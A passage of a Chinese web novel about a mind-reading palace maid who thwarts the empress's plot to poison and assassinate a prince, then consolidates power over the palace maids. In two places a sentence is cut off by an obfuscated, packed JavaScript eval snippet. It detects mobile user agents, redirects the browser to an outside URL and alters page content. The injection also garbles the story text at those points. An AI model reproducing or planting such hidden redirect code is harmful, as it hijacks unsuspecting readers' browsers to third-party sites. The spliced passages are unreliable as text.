皇后得知此事后,气得砸碎了殿内所有的瓷器,她知道,这一切定是德妃与柳尚书背后搞的鬼,可她没有证据,只能吃了个哑巴亏。她的心底满是怨毒,【德妃,苏瑾,柳尚书,你们给我等着,我定要让你们付出代价!】 而阿沅却依旧保持着低调,每日里依旧细心伺候德妃与五皇子,打理长乐宫的大小事务,仿佛这一切都与她无关。可只有她自己知道,她布下的棋局,才刚刚开始。她借着听心的异能,收集着各方信息,分辨着忠奸善恶,一步步为五皇子拉拢助力,一点点削弱皇后一族的势力。 这日,皇上在御花园设宴,邀请了几位重臣与各位皇子参加。阿沅随德妃一同前往,宴会上,皇上让太子与五皇子各自作诗一首,太子支支吾吾,半天写不出一个字,而五皇子却提笔立就,一首《秋日登高》写得气势磅礴,意境深远,引得众人连连称赞。 皇上龙颜大悦,当场赏赐了五皇子一方御笔亲题的砚台。皇后坐在一旁,脸色铁青,眼底的怨毒几乎要溢出来。阿沅站在德妃身后,轻轻扯了扯德妃的衣袖,示意她莫要太过张扬。德妃会意,对着皇上躬身行礼,谦声道:“皇上过奖了,瑾儿只是略通文墨,还要多谢太傅的悉心教导。” 皇上笑着点了点头:“瑾儿天资聪颖,又肯勤学,日后必成大器。”他的心底,对太子的失望又多了几分,对五皇子的期许,却愈发浓重。 宴会上,户部尚书主动向柳尚书举杯,二人相视一笑,心意相通。太傅也对着五皇子微微颔首,眼中满是赞许。阿沅看着这一切,眼底闪过一丝淡淡的笑意。她知道,五皇子的势力,正在一点点壮大,皇后一族想要轻易扳倒五皇子,已是难如登天。 可她也清楚,皇后一族绝不会就此罢休,她们必定会酝酿更大的阴谋,想要一举除掉五皇子与柳尚书。而她,必须时刻保持警惕,借着听心的异能,提前察觉皇后的算计,为五皇子与德妃化解一次又一次的危机。 夜色渐浓,宴会散去,阿沅随德妃与五皇子返回长乐宫。宫道上的灯笼映着三人的身影,长长的,摇曳在地上。五皇子拉着阿沅的衣袖,轻声道:“阿沅姐姐,今日之事,多谢你。若是没有你,我定不会得到皇上的赏赐,也不会有这么多大臣支持我。” 阿沅躬身道:“殿下言重了,这都是殿下自身的才学与品行,赢得了皇上与大臣们的认可,奴婢只是略尽绵薄之力。” 德妃看着阿沅,眼中满是感激与信任:“阿沅,你是我们母子的大恩人,若是没有你,我们母子如今怕是早已身首异处。从今往后,长乐宫的一切,都由你做主,我信你。” 阿沅心中一暖,躬身道:“娘娘信任奴婢,奴婢定当肝脑涂地,不负娘娘与殿下的期望。” 她知道,自己如今已经成了德妃与五皇子最信任的人,长乐宫的一切事务,都由她打理,她的手中,终于有了一丝属于自己的力量。可这力量还不够,她还要继续努力,继续布局,直到五皇子真正登上储位,直到再也没有人能欺负她们母子,直到她自己,也能真正掌控自己的命运。 宫墙之上,冷月高悬,清辉洒遍大地。阿沅站在长乐宫的庭院里,看着天边的明月,指尖轻轻抚摸着贴身藏着的银簪。她的眼神,平静而坚定,藏着与年龄不符的沉稳与谋略。她知道,前路依旧布满荆棘,皇后一族的阴谋,朝堂之上的暗流,都在等着她去化解。可她无所畏惧,因为她的手中,握着听心的异能,握着德妃与五皇子的信任,握着那些默默支持五皇子的大臣们的力量。 她的棋局,才刚刚开始,而她,定要成为这盘棋的赢家。 12. 宫宴惊变,舍身护主 冬雪初霁,皇宫里银装素裹,琼枝玉树,一片晶莹。转眼便到了除夕,宫里张灯结彩,处处挂着大红的灯笼,年味浓郁。按照宫中规矩,除夕之夜,皇上会在乾清宫设宴,邀请后宫妃嫔、皇子公主与朝中重臣一同守岁,这是宫里一年中最热闹的宴席,却也是最容易滋生阴谋的场合。 皇后早早就开始筹备宫宴,阿沅从皇后身边宫女的心声里,听到了无数令人心惊的算计,【皇后娘娘说了,这次除夕宫宴,一定要除掉五皇子与德妃,永绝后患。她在五皇子的酒里下了牵机药,只要五皇子喝下去,不出半个时辰,便会七窍流血而亡,到时候就说是五皇子饮酒过度,突发恶疾,谁也查不出端倪。】【还有德妃,皇后娘娘安排了刺客,待五皇子死后,刺客便会假装是柳尚书的仇人,行刺德妃,嫁祸给柳尚书的政敌,这样一来,柳尚书也会被牵连,皇后一族便能彻底掌控朝堂。】 这些心声像冰冷的毒蛇,缠在阿沅的心头,让她浑身发冷。牵机药乃天下奇毒,无药可解,一旦服下,必死无疑。而皇后安排的刺客,据说也是江湖上的顶尖高手,出手狠辣,防不胜防。 阿沅不敢有半分耽搁,立刻将此事禀明了德妃与柳尚书。德妃听完后,吓得浑身发抖,紧紧抱着五皇子,泪流满面:“皇后怎么能如此歹毒?瑾儿还是个孩子啊,她怎么下得去手!” 柳尚书脸色铁青,拳头攥得咯咯作响:“皇后一族狼子野心,竟敢在宫宴上动手,简直是无法无天!皇上若是知晓,定不会饶了她们!” “柳大人,如今不是说这些的时候,当务之急,是想办法化解这场危机。”阿沅沉声道,“牵机药无色无味,混在酒里,根本无法分辨,而刺客身手高强,若是硬拼,怕是难以抵挡。皇后精心布局,就是想让我们有来无回,我们若是贸然反抗,怕是会落入她的圈套。” “那你说该怎么办?难道我们就坐以待毙吗?”柳尚书急道。 阿沅凝神思索,脑海里快速梳理着从各方心声中收集到的信息,【乾清宫的侍卫统领是皇后的人,宫宴上的守卫,都被皇后安排好了,刺客可以轻易进出。】【皇上近日偶感风寒,脾胃不和,不怎么饮酒,只会喝些温热的桂花蜜水。】【皇后的贴身宫女莲心,与侍卫统领有私情,莲心一直怕皇后发现,心底满是惶恐。】 很快,阿沅便有了应对之策,她缓缓道:“娘娘,柳大人,我们如今只能将计就计,一方面避开五皇子的毒酒,另一方面引蛇出洞,让皇后的阴谋败露在皇上面前,让她自食恶果。” 她顿了顿,继续道:“第一,宫宴之上,奴婢会想办法调换五皇子的酒,用桂花蜜水代替,让五皇子假装饮酒,避开牵机药。第二,莲心是皇后的贴身宫女,也是侍卫统领的情人,她心底怕皇后发现她们的私情,我们可以利用这一点,让莲心暗中帮助我们,透露刺客的行踪。第三,柳大人可提前联络户部尚书与太傅等大臣,让他们在宫宴上多加留意,一旦发生变故,便立刻护着五皇子与德妃娘娘,同时向皇上禀明实情。第四,奴婢会安排心腹,在乾清宫外埋伏,一旦刺客出现,便立刻拿下,拿到皇后指使刺客的证据。” 柳尚书听完,眼中一亮:“好计策!阿沅姑娘,你心思缜密,考虑周全,此事便按你说的办!莲心那边,我会让人去联络,许她荣华富贵,保她与侍卫统领的性命,她定会答应。” 德妃也擦干眼泪,点了点头:“阿沅,一切都靠你了,瑾儿的性命,我们母子的性命,还有柳家的安危,都系在你身上了。” “娘娘放心,奴婢定当竭尽全力,护着娘娘与殿下,让皇后的阴谋败露,让她付出应有的代价。”阿沅躬身道,语气坚定。 接下来的几日,阿沅与柳尚书分头行动,紧锣密鼓地筹备着。柳尚书暗中联络了莲心,许她重金与平安,莲心果然满口答应,她早就受够了皇后的严厉,怕自己与侍卫统领的私情败露,如今有了柳尚书的承诺,自然愿意倒戈。户部尚书与太傅等大臣也纷纷表示,定会在宫宴上护着五皇子与德妃,随时准备向皇上禀明实情。阿沅则安排了自己在浣衣局与长乐宫的心腹,在乾清宫外埋伏,这些人都是她一手提拔,对她忠心耿耿,个个身手矫健。 除夕之夜,乾清宫内灯火通明,暖意融融。殿内摆着数十张宴席,皇上坐在主位,皇后与德妃分坐两侧,皇子公主与朝中重臣依次落座,丝竹之声悠扬,舞姬们翩翩起舞,一派热闹景象。 阿沅站在德妃身后,目光警惕地扫视着殿内的一切,耳朵里听着各方的心声,不敢有半分松懈。皇后坐在主位一侧,脸上带着温婉的笑容,眼底却藏着冰冷的杀意,她的心声里满是得意,【苏瑾,德妃,今日便是你们的死期!等你们一死,柳尚书也会被牵连,这大楚的江山,终究是我儿子的!】 莲心站在皇后身后,眼神闪烁,时不时偷偷看向阿沅,她的心底满是紧张,【希望一切顺利,千万不要被皇后发现,不然我与统领都要死无葬身之地。】 宫宴进行到一半,皇后端着酒杯,走到五皇子面前,笑容满面:“瑾儿,今日除夕,姑姑敬你一杯,愿你岁岁平安,学业有成。” 她手中的酒杯,正是那杯下了牵机药的酒,酒液清澈,看不出丝毫异样。五皇子看着皇后,眼中闪过一丝畏惧,却也不敢不接,只能伸手去拿酒杯。 阿沅见状,立刻上前一步,端着一杯桂花蜜水,笑着道:“皇后娘娘恕罪,五皇子殿下近日偶感风寒,太医嘱咐过不能饮酒,奴婢特意为殿下备了桂花蜜水,清甜解腻,最是合适,不如就让殿下以蜜水代酒,敬皇后娘娘一杯吧。” 说着,她便快速将五皇子面前的酒杯换成了桂花蜜水,动作行云流水,自然流畅,没有人看出丝毫破绽。 皇后脸色微沉,心底暗骂,【这死丫头,竟坏我的好事!】嘴上却只能强笑道:“倒是本宫考虑不周,既然瑾儿身体不适,那便以蜜水代酒吧。” 五皇子端起桂花蜜水,对着皇后躬身行礼:“多谢姑姑关心,侄儿敬姑姑。”说着,便假装一饮而尽,将蜜水喝了下去。 皇后看着五皇子喝下“酒”,眼底闪过一丝阴翳,却也没有多说,转身回到了自己的座位上。她的心声里满是不耐烦,【刺客怎么还不来?难道出了什么差错?】 阿沅知道,皇后已经等不及了,刺客很快就要出现。她悄悄给莲心使了个眼色,莲心会意,借着添茶的机会,走到阿沅身边,低声道:“刺客在殿外西侧的偏殿埋伏,一共三人,手持短刀,身上带着迷烟,准备等五皇子离席去茅厕时动手。” 阿沅点了点头,示意她退下,随即悄悄对小安子道:“去告诉柳大人,刺客在西侧偏殿,让外面的人做好准备,一旦刺客出现,立刻拿下。” 小安子连忙躬身退下,快速将消息传给了柳尚书。柳尚书立刻暗中联络了户部尚书与太傅,几人交换了一个眼神,都做好了应对的准备。 又过了片刻,五皇子按照事先约定,假装不胜酒力,起身向皇上告退,想去茅厕。皇上笑着点了点头:“去吧,莫要走远。” 五皇子躬身应道,转身走出了大殿。阿沅紧随其后,德妃也借口去更衣,跟了出来。皇后看着三人的背影,眼底闪过一丝狠厉,对着身边的一个小太监使了个眼色,小太监立刻躬身退下,去通知刺客动手。 五皇子刚走到乾清宫西侧的回廊,三个黑衣刺客便从偏殿里窜了出来,手持短刀,直扑五皇子而来,口中还喊着:“柳尚书,你害我全家,我今日便杀了你儿子,为家人报仇!” 他们的话音刚落,埋伏在周围的阿沅心腹便立刻冲了出来,与刺客缠斗在一起。柳尚书与户部尚书等大臣也及时赶到,护在五皇子与德妃身前。 刺客见势不妙,想转身逃跑,却被阿沅的心腹死死缠住,很快便被拿下。阿沅让人搜了刺客的身,果然搜出了一封皇后指使他们行刺的密信,信上还有皇后的私印。 乾清宫内的皇上听到外面的动静,连忙派人出来查看,得知有刺客行刺五皇子,还搜出了皇后的密信,顿时震怒不已。他亲自走出大殿,看着被拿下的刺客与那封密信,脸色铁青,对着皇后怒喝:“皇后!你好大的胆子!竟敢在宫宴上行刺皇子,还敢嫁祸他人,你眼里还有朕吗?还有这大楚的律法吗?” 皇后吓得浑身发抖,连连跪地:“皇上恕罪,臣妾冤枉啊!这不是臣妾做的,是有人陷害臣妾,是德妃,是她陷害臣妾!” “事到如今,你还敢狡辩!”皇上将密信扔在皇后面前,“这信上有你的私印,刺客也亲口指认是你指使,你还有什么话可说?” 刺客被押到皇上面前,早已被阿沅的心腹打得皮开肉绽,见皇后想狡辩,立刻开口道:“皇上饶命,是皇后娘娘指使奴才们行刺五皇子,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228620|197582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让奴才们假装是柳尚书的仇人,嫁祸给柳尚书,奴才们不敢不从啊!” 莲心也跪在皇上面前,哭着道:“皇上,奴婢作证,这一切都是皇后娘娘做的!她还在五皇子的酒里下了牵机药,想毒死五皇子,奴婢所言句句属实,求皇上为五皇子与德妃娘娘做主!” 皇后看着莲心的背叛,气得目眦欲裂:“莲心,你这个吃里扒外的贱人!我定不会饶了你!” 皇上看着皇后歇斯底里的样子,心中的失望与愤怒达到了极点。他早就对皇后的专权不满,如今又发现她竟敢行刺皇子,更是忍无可忍。他当即下令:“将皇后打入冷宫,终身不得出宫!国丈一族专权跋扈,勾结皇后,意图谋害皇子,即刻削去所有职权,打入天牢,彻查严办!太子苏衡,教子无方,生性顽劣,不堪为储,废去太子之位,贬为庶人,迁居封地,终身不得回京!” 圣旨一下,满朝震惊,皇后瘫倒在地,泪流满面,却再也无人敢为她求情。国丈一族的人被侍卫押了下去,个个面如死灰。太子苏衡吓得浑身发抖,跪在皇上面前,连连磕头,却也改变不了被废的命运。 德妃看着这一切,喜极而泣,紧紧抱着五皇子,泪水打湿了五皇子的衣衫。柳尚书也松了口气,对着皇上躬身行礼:“皇上明察秋毫,为臣洗清冤屈,臣感激不尽!” 皇上看着五皇子,眼神缓和了几分,伸手抚摸着他的头:“瑾儿,委屈你了,从今往后,朕定不会再让任何人欺负你。” 五皇子躬身行礼,声音清朗:“多谢父皇,孩儿不委屈,只要父皇明察秋毫,还孩儿与娘亲一个公道便好。” 皇上点了点头,随即看向阿沅,眼中满是赞许:“阿沅,你此次立下大功,不仅护着瑾儿与德妃脱离险境,还揪出了皇后的阴谋,扳倒了国丈一族,朕要重重赏你!你想要什么,尽管说。” 阿沅躬身行礼,语气恭敬而谦逊:“皇上谬赞,奴婢只是做了自己该做的事,护着娘娘与殿下,是奴婢的本分。奴婢不求赏赐,只求皇上能让五皇子殿下平安长大,能让大楚江山国泰民安。” 皇上听后,更是连连称赞:“好一个识大体的丫头!朕便如你所愿,立苏瑾为太子,由太傅与柳尚书悉心教导,日后继承大统!至于你,朕封你为长乐宫掌事女官,享正五品俸禄,掌管后宫所有宫女事宜,今后,便由你护着太子与德妃。” “奴婢谢皇上隆恩!”阿沅躬身行礼,心中百感交集。她终于做到了,她护着德妃与五皇子脱离了险境,扳倒了皇后与国丈一族,让五皇子登上了储位。她的手中,终于有了真正的权力,再也没有人能轻易欺负她,再也没有人能掌控她的命运。 宫宴虽因这场惊变而中断,却也让大楚的朝堂迎来了新的格局。皇后被打入冷宫,国丈一族倒台,太子被废,五皇子苏瑾被立为新太子,德妃母凭子贵,地位愈发尊崇,柳尚书与户部尚书等大臣成了朝堂的中坚力量,大楚的江山,终于回到了正轨。 乾清宫的灯火依旧明亮,却少了几分往日的喧闹,多了几分肃穆。阿沅站在德妃与太子身后,看着眼前的一切,耳边是皇上与大臣们商讨国事的声音,心底却异常平静。 她知道,这不是结束,而是新的开始。太子虽被立为储君,却还有许多路要走,朝堂之上,依旧有暗流涌动,后宫之中,也还有不少妃嫔心怀异心。而她,作为长乐宫掌事女官,掌管后宫所有宫女事宜,肩上的担子更重了。 她还要继续借着听心的异能,为太子与德妃保驾护航,为大楚的江山尽心尽力。她要辅佐太子成为一位贤明的君主,要让大楚江山国泰民安,百姓安居乐业。而她自己的命运,也早已与太子的命运,与大楚的江山,紧紧交织在一起,再也无法分开。 夜色深沉,皇宫里渐渐恢复了平静,只有乾清宫的灯火,依旧亮着,照亮了太子前行的道路,也照亮了阿沅的未来。她的指尖轻轻抚摸着贴身藏着的银簪,那是母亲留给她的唯一念想,也是她一路走来的精神支柱。 从尚书府里一个任人宰割的小丫鬟,到皇宫里手握权力的掌事女官,她凭借着自己的听心异能,凭借着自己的谨慎与隐忍,凭借着自己的聪慧与果敢,一步步走到了今天。前路依旧漫长,依旧布满荆棘,可她无所畏惧,因为她知道,自己的命运,终究掌握在自己的手中。 而属于她的传奇,才刚刚开始。 13. 东宫立威,整肃后宫 太子苏瑾被立之后,长乐宫便成了名正言顺的东宫预备之地,德妃母凭子贵,被皇上册封为贵妃,移居凝晖宫,仪仗规制皆按副后相待,柳尚书则被加封为太傅,专司教导太子学业,一时之间,柳家与太子一脉风头无两。阿沅因护主有功,又被皇上亲封正五品长乐宫掌事女官,统管后宫所有宫女事宜,虽无妃嫔名分,却手握实权,后宫上下,无人再敢将她视作普通丫鬟。 新官上任,第一道难关便是立威。后宫之中,宫女太监本就趋炎附势,此前皇后掌权时,各宫宫女管事多是皇后的心腹,如今皇后倒台,这些人虽表面恭敬,心底却依旧不服,暗中阳奉阴违,搅乱后宫秩序。阿沅初掌宫女事宜,便有不少老资格的宫女管事想给她下马威,试探她的底线。 这日清晨,阿沅按例前往内务府核查宫女份例,刚走到内务府门口,便见浣衣局的掌事宫女王氏带着几个宫女慢悠悠地走来,见到阿沅,只是随意福了福身,语气敷衍:“见过阿沅女官。”其中心声却满是不屑:【不过是个从浣衣局爬上去的贱丫头,仗着太子和贵妃的势,竟也敢骑到我们头上作威作福,真当自己是个人物了?今日便故意迟些交份例册子,看她能奈我何。】 阿沅听着她的心声,眼底掠过一丝寒意,面上却依旧平静,淡淡道:“王掌事,如今已是辰时三刻,按宫规,各局份例册子需在辰时前交至内务府,你迟到了近一个时辰,可知罪?” 王氏脸上的敷衍更甚,假意躬身道:“女官恕罪,今日浣衣局活计繁多,奴婢一时忙忘了,还望女官海涵。”心底却暗道:【不过是迟了片刻,能有什么罪?难不成她还敢罚我不成?我在浣衣局待了十几年,什么风浪没见过,岂会怕她一个黄毛丫头。】 一旁的内务府管事太监见气氛不对,连忙打圆场:“阿沅女官,王掌事也是一时疏忽,不如就让她把册子交上来,下次注意便是。”他的心声里满是忌惮:【王氏以前是皇后的人,背后还有些旧部撑腰,阿沅女官虽是皇上亲封,可终究根基尚浅,若是真闹起来,怕是不好收场,还是大事化小吧。】 阿沅却并未理会内务府太监的圆场,目光冷冷地落在王氏身上:“宫规乃皇上亲定,后宫上下,无人可违。浣衣局活计繁多,便可以视宫规如无物?若是人人都像你这般,后宫岂不乱了套?”她顿了顿,声音陡然拔高,“来人,将王氏拖下去,杖责二十,革去掌事宫女之职,贬为浣衣局最底层杂役,永世不得提拔!” 王氏脸色瞬间惨白,不敢置信地看着阿沅:“你敢?我乃皇后旧部,你动我,就不怕得罪皇后的残余势力吗?” “皇后谋逆,早已被打入冷宫,其党羽本就该尽数肃清。”阿沅眼神冰冷,语气坚定,“本宫奉皇上之命统管后宫宫女,便是要整肃后宫风气,凡敢违逆宫规、阳奉阴违者,无论何人,一律严惩不贷!” 话音落,阿沅早已安排好的侍卫便上前,架起王氏就走。王氏又哭又闹,大喊着“冤枉”,却无人敢上前阻拦。周围的宫女太监见阿沅动真格的,个个吓得面如土色,心底的轻视尽数化作畏惧:【没想到这阿沅女官看着温和,下手竟如此狠辣,以后可不敢再轻易招惹她了。】【果然是皇上亲封的女官,有贵妃和太子撑腰,连皇后的旧部都敢动,这下后宫该变天了。】 处置了王氏,阿沅目光扫过在场的所有宫女管事,淡淡道:“今日之事,便是给各位提个醒。往后,凡各局各宫宫女,皆需严格遵守宫规,各司其职,若是再有人敢阳奉阴违、敷衍了事,王氏,便是你们的下场。” 众人连忙躬身行礼,语气恭敬:“奴婢等谨遵女官吩咐,绝不敢违逆宫规。”心底再无半分轻视,只剩敬畏。 经此一事,阿沅在后宫宫女中的威信瞬间树立起来。此后几日,她又接连处置了几个偷奸耍滑、勾结外宫的宫女,其中不乏几位位高权重的掌事宫女,皆是皇后旧部。每一次处置,阿沅都依宫规行事,有理有据,不偏不倚,既肃清了皇后的残余势力,又让其他宫女心服口服。 整肃完宫女队伍,阿沅又着手修订宫规。此前的宫规多有疏漏,对宫女的奖惩制度也不够明晰,导致后宫之中乱象丛生。阿沅结合自己在浣衣局多年的经历,又倾听了众多底层宫女的心声,知晓她们的难处与诉求,对宫规进行了全面修订。 新宫规不仅细化了各局宫女的职责与考核标准,还完善了奖惩制度:对勤恳能干、恪守规矩的宫女,予以提拔、涨份例等奖励;对偷奸耍滑、违逆宫规的宫女,视情节轻重予以罚俸、杖责、贬职甚至赶出宫去的惩罚。同时,新宫规还规定,宫女之间不得相互欺凌,管事宫女不得滥用职权,若有违反,一律严惩。 更重要的是,阿沅还在新宫规中加入了“宫女告假制度”:凡入宫年满五年、无过错的宫女,可申请回乡省亲,由宫中派专人护送;年满十年、不愿继续留在宫中的宫女,可申请出宫,宫中给予一定的安家银两,让其能在外安身立命。这一条规,彻底解决了宫女们最担忧的后路问题,让无数底层宫女感激涕零。 【阿沅女官真是个好人,竟为我们这些底层宫女考虑这么多,以后我们定当尽心尽力做事,绝不辜负女官的期望。】【有了告假和出宫制度,我们再也不用怕老死在宫里了,女官这是给我们指了一条活路啊。】 新宫规颁布之日,阿沅在后宫正殿召集所有宫女管事,亲自宣读新规,语气诚恳:“本宫修订宫规,并非为了苛责各位,而是为了让后宫上下能各司其职,安稳度日。后宫之中,皆是女子,远离家乡,身处深宫,实属不易。本宫只愿,往后大家能同心同德,恪守规矩,勤恳做事,本宫也定会为各位争取应有的权益,让各位能在这深宫里,有一份安稳,有一个盼头。” 一番话,说得众宫女热泪盈眶,纷纷躬身行礼:“奴婢等谨遵女官教诲,定当恪守新规,尽心尽力!”此刻,她们对阿沅的敬畏,早已化作真心的拥戴。 整肃宫女队伍、修订宫规之后,阿沅又开始着手梳理后宫各宫的宫女调配。此前皇后掌权时,各宫宫女调配混乱,受宠的宫妃身边宫女众多,待遇优厚,而失宠的宫妃身边则宫女稀少,甚至连基本的伺候都难以保证。阿沅依各宫规制,重新调配宫女,按宫妃品阶分配相应数量的宫女,保证各宫宫女够用,同时规定,各宫不得随意克扣宫女份例,不得随意打骂宫女,若有违反,宫女可直接向阿沅申诉。 此举虽触动了一些受宠宫妃的利益,却得到了皇上的支持。皇上得知阿沅整肃后宫的举措后,龙颜大悦,对德妃道:“阿沅这丫头,果然有本事,短短数月,便将后宫打理得井井有条,比皇后在时还要规整。有她在,后宫之事,朕无需再费心了。” 此后,皇上又下旨,赐阿沅居住在长乐宫的清芷院,赏金银珠宝无数,还特赐她可以自由出入凝晖宫和东宫,无需通传。这等恩宠,堪比妃嫔,后宫上下,再无人敢对阿沅有半分不敬。 阿沅虽手握重权,深得皇上与德妃信任,却依旧保持着低调沉稳的性子。她每日依旧早早起床,前往各局各宫巡查,查看宫女们的工作情况,倾听她们的心声,及时解决她们遇到的问题。闲暇之时,便前往凝晖宫伺候德妃,或是前往东宫,陪太子读书,为太子讲解宫中的人情世故,教他分辨人心善恶。 太子苏瑾对阿沅愈发敬重,不仅视她为亲姐姐,更视她为自己的左膀右臂。每次遇到难题,第一个想到的便是阿沅,而阿沅也总能为他出谋划策,排忧解难。【阿沅姐姐心思缜密,聪慧过人,有她在,我便什么都不怕。以后我当了皇上,定要封阿沅姐姐为一品女官,让她辅佐我治理天下。】 德妃对阿沅更是信任有加,将凝晖宫的大小事务都交由阿沅打理,甚至连太子的饮食起居,都放心地交给她。【阿沅是我们母子的大恩人,更是我们最信任的人。有她在,凝晖宫安稳,东宫安稳,我们母子也安稳。】 阿沅知道,自己如今的一切,都源于皇上、德妃和太子的信任,也源于自己一步步的努力与隐忍。可她也清楚,树大招风,自己手握重权,深得恩宠,难免会引来一些人的嫉妒与算计。后宫之中,依旧有不少宫妃对她心怀不满,朝堂之上,也有一些大臣对她一个宫女手握重权颇有微词,认为她有干政之嫌。 这日,阿沅前往东宫陪太子读书,路过御花园时,听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228621|197582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到几位妃嫔在亭中闲谈,其中贤妃的心声满是嫉妒与算计:【这阿沅不过是个丫鬟,竟能得到皇上如此恩宠,还手握后宫宫女的生杀大权,真是岂有此理!听说朝堂上已有大臣对她不满,说她干政,不如我暗中联络几位大臣,联名弹劾她,让皇上削去她的职权,把她打回原形。】 另一位妃嫔的心声也满是附和:【贤妃娘娘说得是,这阿沅实在是太过分了,根本不把我们这些妃嫔放在眼里。若是能把她拉下来,后宫也就清净了。】 阿沅听着她们的心声,眼底掠过一丝冷意,却并未上前理论,只是默默离开。她知道,这些妃嫔的算计,不足为惧,可朝堂上的大臣弹劾,却不得不防。皇上虽如今信任她,可帝王之心,终究难测,若是有太多大臣联名弹劾她,说她干政,皇上难免会心生疑虑,对她产生忌惮。 回到清芷院,阿沅静坐沉思,脑海里梳理着朝堂上各位大臣的心思。她从往来太监和太子的心声中得知,朝堂上对她不满的,多是以前皇后的旧部,还有一些守旧的老臣,认为女子不得干政,而支持她的,则是柳尚书、户部尚书等太子一脉的大臣,还有一些年轻的大臣,认为她整肃后宫有功,是个难得的人才。 【如今之计,唯有主动避嫌,打消皇上的疑虑,同时巩固太子一脉的势力,让那些弹劾我的大臣不敢轻举妄动。】阿沅在心底暗暗思索。 次日,阿沅便向皇上呈上奏折,请求皇上削去自己统管后宫宫女的部分职权,将宫女的考核、提拔等事宜交由内务府与德妃共同管理,自己只负责宫女的日常巡查与宫规监督。同时,她在奏折中表示,自己乃一介宫女,不敢手握重权,只愿尽心尽力伺候皇上、德妃与太子,为后宫安稳尽一份绵薄之力。 皇上看了阿沅的奏折,心中甚是欣慰,【阿沅这丫头,不仅有本事,还懂得进退,不贪权,不恋势,果然是个难得的贤良之人。】他当即准奏,虽削去了阿沅的部分职权,却对她更加信任,还下旨赏了她更多的金银珠宝,以示嘉奖。 那些原本想弹劾阿沅的大臣,见她主动避嫌,削去职权,皇上又对她愈发信任,也不敢再轻举妄动,只能作罢。贤妃等妃嫔见计谋落空,心底虽有不甘,却也无可奈何,再也不敢轻易算计阿沅。 经此一事,阿沅在后宫与朝堂上的声望愈发高涨。后宫之中,宫女们对她更加拥戴,妃嫔们对她敬畏有加;朝堂之上,太子一脉的大臣对她更加认可,就连那些原本对她不满的老臣,也对她多了几分赞许。 阿沅依旧每日按部就班地做事,巡查后宫,伺候德妃,陪伴太子,看似平淡,实则一直在暗中布局。她借着听心的异能,收集着后宫与朝堂的各方信息,分辨忠奸,为太子一脉拉拢更多的助力,同时时刻警惕着那些潜在的危险,为太子与德妃保驾护航。 她知道,太子如今虽被立为储君,可根基尚浅,朝堂之上,依旧有不少暗流涌动,那些皇后的旧部,那些对太子心怀不满的皇子,都在暗中伺机而动,想要扳倒太子,取而代之。而她,作为太子与德妃最信任的人,必须时刻保持警惕,做好万全的准备,迎接即将到来的风雨。 清芷院的窗前,月光洒落,阿沅坐在灯下,轻轻抚摸着母亲留给她的银簪,眼神平静而坚定。她的指尖划过银簪的纹路,仿佛能感受到母亲的温度。从尚书府的底层丫鬟,到皇宫里手握实权的掌事女官,她一路走来,披荆斩棘,步步为营,吃过无数的苦,躲过无数的算计,才走到今天。 她知道,前路依旧漫长,依旧布满荆棘,可她无所畏惧。因为她的身后,有皇上的信任,有德妃与太子的依靠,有后宫宫女的拥戴,有太子一脉大臣的支持。更重要的是,她有听心的异能,有自己的智慧与果敢,有一颗永不言弃、勇往直前的心。 她的目标,从来都不只是做一个手握重权的女官。她要辅佐太子成为一位贤明的君主,要让大楚江山国泰民安,百姓安居乐业。而她自己,也要在这深宫里,真正掌控自己的命运,活成自己想要的样子。 夜色渐深,皇宫里渐渐陷入沉睡,只有清芷院的灯火,依旧亮着,映着阿沅坚定的身影,也映着她未来的路。 14. 皇子谋逆,临危决断 春去秋来,太子苏瑾被立已有两年。这两年里,在柳尚书与太傅的悉心教导下,太子愈发沉稳懂事,学识日渐渊博,处理事务也愈发老练,深得皇上与朝中大臣的认可。阿沅则依旧在后宫中恪尽职守,巡查宫规,伺候德妃,陪伴太子,同时借着听心的异能,默默为太子扫清障碍,巩固势力。 后宫之中,因阿沅的整肃,风气焕然一新,宫女太监各司其职,各宫妃嫔也安分守己,再无往日的争斗与乱象。朝堂之上,太子一脉的势力日渐壮大,柳尚书、户部尚书等大臣牢牢掌控着朝政,皇后的旧部虽仍有残余,却早已掀不起大浪,看似一派国泰民安的景象。 可阿沅却始终不敢有半分松懈。她从各方心声中得知,皇上的身体近来愈发不好,时常咳嗽不止,精神也大不如前,而几位年长的皇子,尤其是七皇子苏煜,对储位依旧心怀觊觎,暗中联络了一些对太子不满的大臣,囤积兵力,伺机而动。 七皇子苏煜乃宸妃所生,宸妃早逝,七皇子由贵妃抚养长大,表面上对太子恭敬有加,实则心胸狭隘,野心勃勃。此前皇后倒台、太子被立之时,七皇子便心生不满,只是彼时太子势大,他不敢轻举妄动,便暗中蛰伏,结交党羽,积攒力量,如今见皇上身体日渐衰弱,便认为时机已到,开始暗中谋划谋逆之事。 这日,阿沅陪太子前往御书房向皇上请安,刚走到御书房外,便听到里面传来皇上的咳嗽声,还有七皇子的声音,语气看似关切,心底却满是算计:【父皇的身体越来越差了,怕是撑不了多久了。太子那小子如今羽翼渐丰,再等下去,就再也没有机会了。不如趁父皇病重,朝中局势动荡,即刻起兵,拿下东宫,逼父皇传位给我,这样一来,大楚的江山,就是我的了。】 